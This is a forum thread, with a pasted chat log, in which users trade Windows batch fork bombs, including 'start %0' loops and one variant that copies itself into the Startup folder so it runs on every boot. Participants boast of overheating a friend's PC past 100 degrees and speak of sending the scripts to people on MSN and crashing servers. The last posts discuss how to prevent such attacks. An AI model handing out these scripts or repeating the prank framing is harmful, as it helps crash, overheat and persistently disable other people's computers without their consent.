core temp is 74 degrees
Simon says:
:-O
nathan says:
lol
nathan says:
nice
nathan says:
turn of at poer
nathan says:
if you can get task manager up
nathan says:
then terminate the .bat
nathan says:
forget about the cmds
nathan says:
else turn off at power
nathan says:
and send it to people
Simon says:
if it goes above 70
nathan says:
me is thinking amin
nathan says:
damon
Simon says:
i should start worrying
nathan says:
lol
nathan says:
how many dos windows
nathan says:
now imagine me creating a autorun file that saves that .bat in startup =p
Blank!
Atleast on WinXP those stop at like 100ish processes, atleast never made me crash... Atleast if you use something lame like
Or so it opens like 100 cmds and then just right click and end xPCode::Ass Start blabla.bat goto Ass
Fork bombs are noob etc. but still kinda cool thread![]()
:stripbar
Start fap.bat
goto stripbar
XD
Blank!
Lol my mates pc ended up with a core temp of over 100 degrees b4 he finally turned it off. He is so pissed at me now lol.
Blank!
I like this one.
Opens CMD a lot.Code:start virus.bat virus.bat
LOL! This is so sweet! I'm gonna try making my own fork bomb!
Lol this is awesome, I tried it on xp, but I couldn't end the process, it kept switching to a different one so I had to restart. Now to send this to people who annoy me on msn.
Fork bombs can be fun, if you can run bash scripts on ssh. Then you can easily crash the servers.

Code::hoi START %0 copy %0 "C:\Documents and Settings\*USERNAME HERE*\Start Menu\Programs\Startup" GOTO :hoi
Haha, thats brilliant I love it :P
EvilChicken, A fork bomb isn't simply an infinite loop. A fork bomb is where an application at minimum creates two copies of itself, hence forking.
AFAIK scar is unable to create a new process making fork bombs unavailable to it. (OK, it can make API calls, and windows provides a "CreateThread" function so I guess it is possible, but not for the faint of heart)
THen there's:
Code:set haha=1 :hoi START %0 Set /A haha+=1 mkdir haha copy %0 haha goto hoi
V - Prevention
Is this question even worth asking? Are they even harmful?
The answer is yes. Kinda. On servers that are running 24-7, this is a serious thread. Aw, come on guys, I know all of you have at least five of those!
But, no - fork bombs are usually harmless, unless they gain access to your registry to tweak it to launch the fork bomb(s) at windows startup, so beware.for 'thread' i think you ment 'threat'The answer is yes. Kinda. On servers that are running 24-7, this is a serious thread.![]()

Current Project: Maybe I'll Finish SRL JNR COMP Script...
Status: On Hold for a while
Needs:To Be Finished
Sadly that's actually what I thought, and by multiple languages I thought you meant Spanish, French, German ect...
btw: A better fork bomb would open an application that takes more to run than the command prompt. Try overloading the system with something like a game or your internet browser.
I haven't read the whole thread so maybe someone said this already...But how do you figure they aren't .exe's DOS cmd windows are in fact .exe's unless you use command.com which would be entirely stupid. Either way it is still an executable file.
Running your %0|%0 does in fact spawn cmd.exe's when run from a bat file so...yeah.
EvilChicken, I was kind of wondering how you would prevent fork bombs on Windows?
I've prevented it on Linux quite easily.
But how would you do that on Windows? (Not that I want to, I've just been wondering if windows can do that, at all...)
EDIT:
The Windows family is inherantly flawed in it's control of process execution on an OS global level. After discovering a rather nasty error in a recent program, I was able to determine that it is possible to enter into an EXTREME multiple replication condition within Windows which is similar to the Infinate Spawning Denial of Service attack that is able to be performed using some simple javascript containing a while loop under Internet Explorer 6 and all previous IE releases that incorporated javascript.

Wizzup?, the example in your edit shows fork bombs near it's worst, and makes me understand why you didn't want to fully approve this thread.
But, as for your question, that is unknown to me.
The closest I can think of as a way of prevention, would be to have a background application that monitors all programs that open. This program would only check for occurrence of abnormal amounts of a certain application name within a certain time. (As fork bombs create new processes rather, er, fast.) If the application detects such abnormality, all applications with that name will be terminated.
(Or, I guess that simply a background application that doesn't allow more than X amount of similarly named processes to be executed simultaneously would serve the same purpose?)
I doubt this application would take up a considerable amount of resources, nor would it be hard to create.
I very strongly believe that there are other, far more efficient ways, this was just something I thought of when I read your post.
How did you prevent it on Linux?

On windows, you'll probably have to buy some program just to limit user processes.
